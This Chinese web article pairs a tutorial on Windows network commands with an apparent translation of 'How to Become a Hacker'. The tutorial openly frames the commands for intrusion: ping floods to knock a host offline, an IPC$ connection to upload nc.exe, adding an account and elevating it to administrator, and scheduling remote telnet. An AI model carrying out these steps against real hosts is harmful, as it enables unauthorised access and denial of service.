它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说,ping命令是第一个必须掌握的DOS命令,它所利用的原理是这样的:网络上的机器都有唯一确定的IP地址,我们给目标IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,可以初步判断目标主机的*作系统等。下面就来看看它的一些常用的*作。先看看帮助吧,在DOS窗口中键入:ping
/? 回车,。所示的帮助画面。在此,我们只掌握一些基本的很有用的参数就可以了(下同)。
-t 表示将不间断向目标IP发送数据包,直到我们强迫其停止。试想,如果你使用100M的宽带接入,而目标IP是56K的小猫,那么要不了多久,目标IP就因为承受不了这么多的数据而掉线,呵呵,一次攻击就这么简单的实现了。
-l 定义发送数据包的大小,默认为32字节,我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用,会有更好的效果哦。
-n 定义向目标IP发送数据包的次数,默认为3次。如果网络速度比较慢,3次对我们来说也浪费了不少时间,因为现在我们的目的仅仅是判断目标IP是否存在,那么就定义为一次吧。
说明一下,如果-t 参数和 -n参数一起使用,ping命令就以放在后面的参数为标准,比如"ping IP -t -n 3",虽然使用了-t参数,但并不是一直ping下去,而是只ping 3次。另外,ping命令不一定非得ping IP,也可以直接ping主机域名,这样就可以得到主机的IP。
从TTL的返回值可以初步判断被ping主机的*作系统,之所以说"初步判断"是因为这个值是可以修改的。这里TTL=32表示*作系统可能是win98。
(小知识:如果TTL=128,则表示目标主机可能是Win2000;如果TTL=250,则目标主机可能是Unix)
至于利用ping命令可以快速查找局域网故障,可以快速搜索最快的QQ服务器,可以对别人进行ping攻击……这些就靠大家自己发挥了。
二,nbtstat
该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接,使用这个命令你可以得到远程主机的NETBIOS信息,比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。
-a 使用这个参数,只要你知道了远程主机的机器名称,就可以得到它的NETBIOS信息(下同)。
-A 这个参数也可以得到远程主机的NETBIOS信息,但需要你知道它的IP。
-n 列出本地机器的NETBIOS信息。
当得到了对方的IP或者机器名的时候,就可以使用nbtstat命令来进一步得到对方的信息了,这又增加了我们入侵的保险系数。
三,netstat
这是一个用来查看网络状态的命令,*作简便功能强大。
-a 查看本地机器的所有开放端口,可以有效发现和预防木马,可以知道机器所开的服务等信息。
-r 列出当前的路由信息,告诉我们本地机器的网关、子网掩码等信息。用法:netstat -r IP。
四,tracert
跟踪路由信息,使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径,这对我们了解网络布局和结构很有帮助。
用法:tracert IP。
五,net
这个命令是网络命令中最重要的一个,必须透彻掌握它的每一个子命令的用法,因为它的功能实在是太强大了,这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令,键入net /?回车。
在这里,我们重点掌握几个入侵常用的子命令。
net view 使用此命令查看远程主机的所以共享资源。命令格式为net view \IP。
net use 把远程主机的某个共享资源影射为本地盘符,图形界面方便使用,呵呵。命令格式为net use x: \IP\sharename。上面一个表示把192.168.0.5IP的共享名为magic的目录影射为本地的Z盘。
下面表示和192.168.0.7建立IPC$连接(net use\IP\IPC$ "password" /user:"name"), 建立了IPC$连接后,呵呵,就可以上传文件了:copy nc.exe \192.168.0.7\admin$,表示把本地目录下的nc.exe传到远程主机,结合后面要介绍到的其他DOS命令就可以实现入侵了。
net start 使用它来启动远程主机上的服务。当你和远程主机建立连接后,如果发现它的什么服务没有启动,而你又想利用此服务怎么办?就使用这个命令来启动吧。用法:net start servername,成功启动了telnet服务。
net stop 入侵后发现远程主机的某个服务碍手碍脚,怎么办?利用这个命令停掉就ok了,用法和net start同。
net user 查看和帐户有关的情况,包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的,最重要的,它为我们克隆帐户提供了前提。键入不带参数的net user,可以查看所有用户,包括已经禁用的。下面分别讲解。
1,net user abcd 1234 /add,新建一个用户名为abcd,密码为1234的帐户,默认为user组成员。
2,net user abcd /del,将用户名为abcd的用户删除。
3,net user abcd /active:no,将用户名为abcd的用户禁用。
4,net user abcd /active:yes,激活用户名为abcd的用户。
5,net user abcd,查看用户名为abcd的用户的情况
net localgroup 查看所有和用户组有关的信息和进行相关*作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中,我们一般利用它来把某个帐户提升为administrator组帐户,这样我们利用这个帐户就可以控制整个远程主机了。用法:net localgroup groupname username /add。
现在我们把刚才新建的用户abcd加到administrator组里去了,这时候abcd用户已经是超级管理员了,呵呵,你可以再使用net user abcd来查看他的状态,和图10进行比较就可以看出来。但这样太明显了,网管一看用户情况就能漏出破绽,所以这种方法只能对付菜鸟网管,但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员,这是后话。
net time 这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面,那么也许就用不到这个命令了。但简单的入侵成功了,难道只是看看吗?我们需要进一步渗透。这就连远程主机当前的时间都需要知道,因为利用时间和其他手段(后面会讲到)可以实现某个命令和程序的定时启动,为我们进一步入侵打好基础。用法:net time \IP。
六,at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序(知道net time的重要了吧?)。当我们知道了远程主机的当前时间,就可以利用此命令让其在以后的某个时间(比如2分钟后)执行某个程序和命令。用法:at time command \computer。表示在6点55分时,让名称为a-01的计算机开启telnet服务(这里net start telnet即为开启telnet服务的命令)。
七,ftp
大家对这个命令应该比较熟悉了吧?网络上开放的ftp的主机很多,其中很大一部分是匿名的,也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机(一般都是开了21端口的机器),如果你还不会使用ftp的命令怎么办?下面就给出基本的ftp命令使用方法。
首先在命令行键入ftp回车,出现ftp的提示符,这时候可以键入"help"来查看帮助(任何DOS命令都可以使用此方法查看其帮助)。
大家可能看到了,这么多命令该怎么用?其实也用不到那么多,掌握几个基本的就够了。
首先是登陆过程,这就要用到open了,直接在ftp的提示符下输入"open 主机IP ftp端口"回车即可,一般端口默认都是21,可以不写。接着就是输入合法的用户名和密码进行登陆了,这里以匿名ftp为例介绍。用户名和密码都是ftp,密码是不显示的。当提示**** logged
in时,就说明登陆成功。这里因为是匿名登陆,所以用户显示为Anonymous。
要介绍具体命令的使用方法了。
dir 跟DOS命令一样,用于查看服务器的文件,直接敲上dir回车,就可以看到此ftp服务器上的文件。
cd 进入某个文件夹。
get 下载文件到本地机器。
put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了,如果可以,呵呵,该怎么利用就不多说了,大家就自由发挥去吧。
删除 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
bye 退出当前连接。
quit 同上。
八,telnet
功能强大的远程登陆命令,几乎所有的入侵者都喜欢用它,屡试不爽。为什么?它*作简单,如同使用自己的机器一样,只要你熟悉DOS命令,在成功以administrator身份连接了远程机器后,就可以用它来干你想干的一切了。下面介绍一下使用方法,首先键入telnet回车,再键入help查看其帮助信息。
然后在提示符下键入open IP回车,这时就出现了登陆窗口,让你输入合法的用户名和密码,这里输入任何密码都是不显示的。
当输入用户名和密码都正确后就成功建立了telnet连接,这时候你就在远程主机上具有了和此用户一样的权限,利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。
到这里为止,网络DOS命令的介绍就告一段落了,这里介绍的目的只是给菜鸟网管一个印象,让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些,这里只是抛砖引玉,希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助,特别的熟练掌握了一些网络的DOS命令。
另外大家应该清楚,任何人要想进入系统,必须得有一个合法的用户名和密码(输入法漏洞差不多绝迹了吧),哪怕你拿到帐户的只有一个很小的权限,你也可以利用它来达到最后的目的。所以坚决消灭空口令,给自己的帐户加上一个强壮的密码,是最好的防御弱口令入侵的方法。
最后,由衷的说一句,培养良好的安全意识才是最重要的。
---什么是黑客?
Jargon File中对“黑客”一词给出了很多个定义,大部分定义都涉及高超的编程技术,强烈的解决问题和克服限制的欲望。如果你想知道如何成为一名黑客,那么好,只有两方面是重要的。(态度和技术)
长久以来,存在一个专家级程序员和网络高手的共享文化社群,其历史可以追溯到几十年前第一台分时共享的小型机和最早的ARPAnet实验时期。 这个文化的参与者们创造了“黑客”这个词。 黑客们建起了Internet。黑客们使Unix操作系统成为今天这个样子。黑客们搭起了Usenet。黑客们让WWW正常运转。如果你是这个文化的一部分,如果你已经为它作了些贡献,而且圈内的其他人也知道你是谁并称你为一个黑客,那么你就是一名黑客。
黑客精神并不仅仅局限于软件黑客文化圈中。有些人同样以黑客态度对待其它事情如电子和音乐---事实上,你可以在任何较高级别的科学和艺术中发现它。软件黑客们识别出这些在其他领域同类并把他们也称作黑客---有人宣称黑客实际上是独立于他们工作领域的。 但在本文中,我们将注意力集中在软件黑客的技术和态度,以及发明了“黑客”一词的哪个共享文化传统之上。
另外还有一群人,他们大声嚷嚷着自己是黑客,实际上他们却不是。他们是一些蓄意破坏计算机和电话系统的人(多数是青春期的少年)。真正的黑客把这些人叫做“骇客”(cracker),并不屑与之为伍。多数真正的黑客认为骇客们是些不负责任的懒家伙,还没什么大本事。专门以破坏别人安全为目的的行为并不能使你成为一名黑客, 正如拿根铁丝能打开汽车并不能使你成为一个汽车工程师。不幸的是,很多记者和作家往往错把“骇客”当成黑客;这种做法激怒真正的黑客。
根本的区别是:黑客们建设,而骇客们破坏。
如果你想成为一名黑客,继续读下去。如果你想做一个骇客,去读 alt.2600 新闻组,并在发现你并不像自己想象的那么聪明的时候去坐5到10次监狱。 关于骇客,我只想说这么多。
---黑客的态度
黑客们解决问题,建设事物,信仰自由和双向的帮助,人人为我, 我为人人。
要想被认为是一名黑客,你的行为必须显示出你已经具备了这种态度。要想做的好象你具备这种态度,你就不得不真的具备这种态度。但是如果你想靠培养黑客态度在黑客文化中得到承认,那就大错特错了。因为成为具备这些特质的这种人对你自己非常重要,有助于你学习,并给你提供源源不断的活力。同所有有创造性的艺术一样,成为大师的最有效方法就是模仿大师的精神---不是仅从理智上,更要从感情上进行模仿。
So,如果你想做一名黑客,请重复以下事情直到你相信它们:
1 这世界充满待解决的迷人问题
做一名黑客有很多乐趣,但却是些要费很多气力方能得到的乐趣。 这些努力需要动力。成功的运动员从健壮体魄,挑战自我极限中汲取动力。同样,做黑客,你必须
要有从解决问题,磨练技术,锻炼智力中得到基本的热望。如果你还不是这类人又想做黑客,你就要设法成为这样的人。否则你会发现,你的黑客热情会被其他诱惑无情地吞噬掉---如金钱、性和社会上的虚名。
(同样你必须对你自己的学习能力建立信心---相信尽管你对某问题所知不多,但如果你一点一点地学习、试探,你最终会掌握并解决它。)
2. 一个问题不应该被解决两次
聪明的脑瓜是宝贵的,有限的资源。当这个世界还充满其他有待解决的有趣问题之时,他们不应该被浪费在重新发明轮子这些事情上。 作为一名黑客,你必须相信其他黑客的思考时间是宝贵的---因此共享信息,解决问题并发布结果给其他黑客几乎是一种道义,这样其他人就可以去解决新问题而不是重复地对付旧问题。
(你不必认为你一定要把你的发明创造公布出去,但这样做的黑客是赢得大家尊敬最多的人。卖些钱来给自己养家糊口,买房买车买计算机甚至发大财和黑客价值也是相容的,只要你别忘记你还是个黑客。)
3. 无聊和乏味的工作是罪恶
黑客们应该从来不会被愚蠢的重复性劳动所困扰,因为当这种事情发生时就意味着他们没有在做只有他们才能做的事情---解决新问题。这样的浪费伤害每一个人。因此,无聊和乏味的工作不仅仅是令人不舒服而已,它们是极大的犯罪。 要想做的象个黑客,你必须完全相信这点并尽可能多地将乏味的工作自动化,不仅为你自己,也为了其他人(尤其是其他黑客们)。
(对此有一个明显的例外。黑客们有时也做一些重复性的枯燥工作以进行“脑力休息”,或是为练熟了某个技巧,或是获得一些除此无法获得的经验。但这是他自己的选择---有脑子的人不应该被迫做无聊的活儿。)
4 自由就是好
黑客们是天生的反权威主义者。任何能向你发命令的人会迫使你停止解决令你着迷的问题,同时,按照权威的一般思路,他通常会给出一些极其愚昧的理由。因此,不论何时何地,任何权威,只要他压迫你或其他黑客,就要和他斗到底。
(这并非说任何权力都不必要。儿童需要监护,罪犯也要被看管起来。 如果服从命令得到某种东西比起用其他方式得到它更节约时间,黑客会同意接受某种形式的权威。但这是一个有限的、特意的交易;权力想要的那种个人服从不是你的给予,而是无条件的服从。)
权力喜爱审查和保密。他们不信任自愿的合作和信息共享---他们只喜欢由他们控制的合作。因此,要想做的象个黑客,你得对审查、保密,以及使用武力或欺骗去压迫人们的做法有一种本能的反感和敌意。
5. 态度不能替代能力
要做一名黑客,你必须培养起这些态度。但只具备这些态度并不能使你成为一名黑客,就象这并不能使你成为一个运动健将和摇滚明星一样。成为一名黑客需要花费智力,实践,奉献和辛苦。
因此,你必须学会不相信态度,并尊重各种各样的能力。黑客们不会为那些故意装模做样的人浪费时间,但他们却非常尊重能力---尤其是做黑客的能力,不过任何能力总归是好的。具备很少人才能掌握的技术方面的能力尤其为好,而具备那些涉及脑力、技巧和聚精会神的能力为最好。
如果你尊敬能力,你会享受提高自己能力的乐趣---辛苦的工作和奉献会变成一种高度娱乐而非贱役。 要想成为一名黑客,这一点非常重要。
---基本黑客技术
黑客态度是重要的,但技术更加重要。态度无法替代技术,在你被别的黑客称为黑客之前,有一套基本的技术你必须掌握。 这套基本技术随着新技术的出现和老技术的过时也随时间在缓慢改变。例如,过去包括使用机器码编程,而知道最近才包括了HTML语言。但现在明显包括以下技术:
1 学习如何编程
这当然是最基本的黑客技术。如果你还不会任何计算机语言,我建议你从Python开始。它设计清晰,文档齐全,对初学者很合适。尽管是一门很好的初级语言,它不仅仅只是个玩具。它非常强大,灵活,也适合做大型项目。
但是记住,如果你只会一门语言,你将不会达到黑客所要求的技术水平,甚至也不能达到一个普通程序员的水平---你需要学会如何以一个通用的方法思考编程问题,独立于任何语言。要做一名真正的黑客,你需要学会如何在几天内通过一些手册,结合你现在所知,迅速掌握一门新语言。这意味着你应该学会几种不同的语言。
如果要做一些重要的编程,你将不得不学习C语言,Unix的核心语言。其他对黑客而言比较重要的语言包括Perl和LISP。 Perl很实用,值得一学;它被广泛用于活动网页和系统管理,因此即便你从不用Perl写程序,至少也应该能读懂它。 LISP 值得学习是因为当你最终掌握了它你会得到丰富的经验;这些经验使你在以后的日子里成为一个更好的程序员,即使你实际上可能很少使用LISP本身。
当然,实际上你最好四种都会。 (Python, C, Perl, and LISP). 除了是最重要的四种基本语言,它们还代表了四种非常不同的编程方法,每种都会让你受益非浅。
这里我无法完整地教会你如何编程---这是个复杂的活儿。但我可以告诉你,书本和课程也不能作到。几乎所有最好的黑客都是自学成材的。真正能起作用的就是去亲自读代码和写代码。
学习如何编程就象学习用自然语言写作一样。最好的做法是读一些大师的名著,试着自己写点东西,再读些,再写点,又读些,又写点....如此往复,直到你达到自己在范文中看到的简洁和力量。
过去找到好的代码去读是困难的,因为很少有大型程序的可用源代码能让新手练手。这种状况已经得到了很大的改善;现在有很多可用的开放源码软件,编程工具和操作系统(全都有黑客写成)。这使我们自然地来到第二个话题...
2 得到一个开放源码的Unix并学会使用、运行它
我假设你已经拥有了一台个人计算机或者有一个可用的( 今天的孩子们真幸福 :-) )。新手们最基本的一步就是得到一份Linux或BSD-Unix,安装在个人计算机上,并运行它。
当然,这世界上除了Unix还有其他操作系统。但它们都是以二进制形式发送的---你无法读到它的源码,更不可能修改它。尝试在DOS或Windows的机器上学习黑客技术,就象是在腿上绑了铁块去学跳舞。
除此之外,Unix还是Internet的操作系统。你可以不知道Unix而学会用Internet,但不懂它你就无法成为一名Internet黑客。因为这个原因,今天的黑客文化在很大程度上是以Unix为中心的。(这点并不总是真的,一些很早的黑客对此很不高兴,但Unix和Internet之间的共生关系已是如此之强,甚至连微软也无可奈何)
So,装一个Unix---我个人喜欢Linux,不过也有其他选择。(你也可以在同一台机器上同时运行DOS,Windows和Linux)学会它。运行它。用它跟Internet对话。读它的代码。试着去修改他。你会得到比微软操作系统上好的多的编程工具(包括C,Lisp, Python, and Perl),你会得到乐趣,并将学到比你想象的更多知识。
关于学习Unix的更多信息,请看 The Loginataka.
要得到Linux,请看: 哪里能得到 Linux.
3 学会如何使用WWW和写HTML
大多黑客文化建造的东西都在你看不见的地方发挥着作用,帮助工厂、办公室和大学正常运转,表面上很难看到它对他人的生活的影响。Web是一个大大的例外。即便政客也同意,这个巨大而耀眼的黑客玩具正在改变整个世界。单是这个原因(还有许多其它的), 你就需要学习如何掌握Web。
这并不是仅仅意味着如何使用浏览器(谁都会),而是要学会如何写HTML,Web的标记语言。如果你不会编程,写HTML会教你一些有助于学习的思考习惯。因此,先建起自己的主页。
但仅仅建一个主页也不能使你成为一名黑客。 Web里充满了各种网页。多数是无意义的,零信息量垃圾。
要想有价值,你的网页必须有内容---必须有趣或对其它黑客有用。这样,我们来到下一个话题....
---黑客文化中的地位
象大部分不涉及金钱的文化一样,黑客王国的运转靠声誉维护。你设法解决有趣的问题,但它们到底多有趣,你的解法有多好,是要有那些和你具有同样技术水平的人或比你更牛的人去评判的。
相应地,当你在玩黑客游戏时,你知道,你的分数要靠其他黑客对你的技术的评估给出。(这就是为什么只有在其它黑客称你为黑客是,你才算得上是一名黑客)这个事实常会被黑客是一项孤独的工作这一印象所减弱;它也会被另一个黑客文化的禁忌所减弱(此禁忌的效力正在减弱但仍很强大):拒绝承认自我或外部评估是一个人的动力。
特别地,黑客王国被人类学家们称为一种精英文化。在这里你不是凭借你对别人的统治来建立地位和名望,也不是靠美貌,或拥有其他人想要的东西,而是靠你的奉献。尤其是奉献你的时间,你的才智和你的技术成果。
要获得其他黑客的尊敬,你可以做以下五种事情:
1. 写开放源码的软件
第一个(也是最基本和传统的)是写些被其他黑客认为有趣或有用的程序,并把程序的原代码公布给大家共享。
(过去我们称之为“自由软件-free software”,但这却使很多不知free的精确含义的人感到不解。现在我们很多人使用“开放源码-open source”这个词)
黑客王国里最受尊敬的大牛们是那些写了大型的、具有广泛用途的软件,并把它们公布出去,使每人都在使用他的软件的人。
2. 帮助测试并修改开放源码的软件
黑客们也尊敬也那些使用、测试开放源码软件的人。在这个并非完美的世界上,我们不可避免地要花大量软件开发的时间在测试和抓臭虫阶段。 这就是为什么任何开放源码的作者稍加思考后都会告诉你好的beta测试员象红宝石一样珍贵。 (他知道如何清楚描述出错症状,很好地定位错误,能忍受快速发布的软件中的bug,愿意使用一些简单的诊断工具) 甚至他们中的一个能判断出哪个测试阶段是延长的、令人精疲力尽的噩梦,哪个只是一个有益健康的玩意儿。
如果你是个新手,试着找一个赶兴趣的正在开发的程序,作一个好的beta测试员。从帮着测试,到帮着抓臭虫,到最后帮着改程序,你会不断进步。以后你写程序时,会有别人来帮你,你就得到了你当初善举的回报。
3. 公布有用的信息
另一个好事是收集整理网页上有用有趣的信息或文档如FAQ。许多主要FAQ的维护者和其他开放源码的作者一样受到大家的尊敬。
4. 帮助维护基础设施的运转
黑客文化是靠自愿者运转的。要使Internet能正常工作,就要有大量枯燥的工作不得不去完成----管理mail list,newsgroup,维护大量文档,开发RFC和其它技术标准等等。做这类事情的人会得到很多人的尊敬,因为每人都知道这些事情是耗时耗力的苦役,不象编码那样好玩。做这些事情需要毅力。
5. 为黑客文化本身服务
最后,你可以为这个文化本身服务(例如象我这样,写一个“如何成为黑客”的初级教程 :-) )(hehe,象我这样把它翻成中文 :-) ) 这并非一定要在你已经在这里呆了很久,精通所有以上4点,获得一定声誉后后才能去做。
黑客文化没有领袖。精确地说,它确实有些文化英雄和部落长者和历史学家和发言人。若你在这圈内呆的够长,你或许成为其中之一。
记住:黑客们不相信他们的部落长者的自夸的炫耀,因此很明显地去追求这种名誉是危险的。你必须具备基本的谦虚和优雅。
---黑客和怪人(Nerd)的联系
同流行的传说相反,做一名黑客并不一定要你是个怪人。然而,很多黑客都是怪人。做一个出世者有助于你集中精力进行更重要的事情,如思考和编程。
因此,很多黑客都愿意接受“怪人”这个标签,更有甚者愿意使用“傻子(geek)”一词并自以为豪---这是宣布他们与主流社会不合作的声明。
如果你能集中足够的精力来做好黑客同时还能有正常的生活,这很好。今天作到这一点比我在1970年代是个新手是要容易的多。今天主流文化对技术怪人要友善的多。甚至有更多的人意识到黑客通常更富爱心,是块很好的做恋人和配偶的材料。 更多信息见 Girl's Guide to Geek Guys.
如果你因为生活上不如意而为做黑客而吸引,那也没什么---至少你不会分神了。或许以后你会找到自己的另一半。
---风格的意义
重申一下,做一名黑客,你必须进入黑客精神之中。当你不在计算机边上时,你仍然有很多事情可做。它们并不能替代真正的编程(没有什么能替代编程),但很多黑客都那么做,并感到它们与黑客精神存在一种本质的关联。
阅读科幻小说。参加科幻小说讨论会。(一个很好的寻找黑客的场合)
研究禅宗,或练功习武。
练就一双精确的耳朵,学会鉴赏特别的音乐。学会玩某种乐器,或唱歌。
提高对双关语的鉴赏。
学会流畅地用母语写作。(令人惊讶的时,我所知道的所有最棒的黑客,都是很不错的作家)
这些事情,你做的越多,你就越适合做黑客。至于为什么偏偏是这些事情,原因并不很清楚,但它们都涉及到了左-右脑的综合技巧,这似乎是关键所在。(黑客们既需要清晰的逻辑思维,有时也需要强烈的跳出逻辑之外的直觉)
最后,还有一些不要去做的事情。
不要使用愚蠢的,过于哗众取宠的ID
不要自称为网络崩客(punk) ,也不要对那些人浪费时间
不要寄出充满拼写和语法错误的email,或张贴错误百出的文章
做以上的事情,会使大大损害你的声誉。黑客们个个记忆超群---你将需要数年的时间让他们忘记你的愚蠢。
---其它资源
Peter Seebach为那些不知如何同黑客打交道的经理们维护了一个非常精彩的黑客FAQ。
The Loginataka 有许多关于如何正确培养一个Unix黑客的态度的材料。
我也曾写过一篇“黑客文化简史”。
我还写过另一篇文章,“大教堂与集市”,解释了许多Linux和开放源码文化的运做原理。我还在它的续集“开拓智域”一文中有更直接的论述。
---FAQ(常问问题解答)
问:你会教我如何做黑客吗?
自从第一次发布此页,我每周都会得到一些请求,要我“教会他如何做黑客”;遗憾的是,我没有足够的时间和精力来做这个;我自己的编程项目已经占用了我110%的时间。
甚至即便我想教你也不可能,黑客基本上是一项需要你自行修炼的的态度和技术。你会发现即使真正的黑客想帮助你,如果你乞求他们填鸭一样教你的话,你不会赢得他们的尊敬。
首先去学习。显示你在尝试,你能靠自己去学习。然后再去向黑客们请教问题。
问:你会帮我“黑”掉一个站点吗?或者教我怎么黑它?
No. 任何在读完FAQ后还问此问题人,都是愚不可及的家伙,即使有时间我也不会理睬。 任何发给我的此类mail都会被忽略或被痛斥。
问:哪里能找到真正的可以与之交流的黑客?
最佳办法是就近参加一个Unix或Linux的用户组,参加他们的会议。
问:我该先学哪种语言?
HTML, 如果你还不会的话.
但它不是一个真正的编程语言。当你准备编程时,我建议你从 Python开始. 会有很多人向你推荐Perl,它比Python还受欢迎,但却难学一些。
C 是非常重要的,但它却是最难学的。不要一开始就尝试学C。
问:开放源码的自由软件不会使程序员饿肚子吗?
这似乎不大可能---到目前,开放源码软件产业创造了而不是消灭了大量工作机会。
如果写一个程序比不写一个程序只是个纯粹经济上的收益的话,无论它是否免费,只要它被完成,程序员都会从中得到回报。而且,无论软件是由多么的free的方法开发的,对更新的软件应用的需求总是会有的。
问:我从何学起?哪里有免费的Unix?
本页的其他地方指向最常用的免费Unix。要做一名黑客,你需要自立自强,以及自我教育的能力。
参考资料:国内著名安全站点:http://www.chinesehack.org/#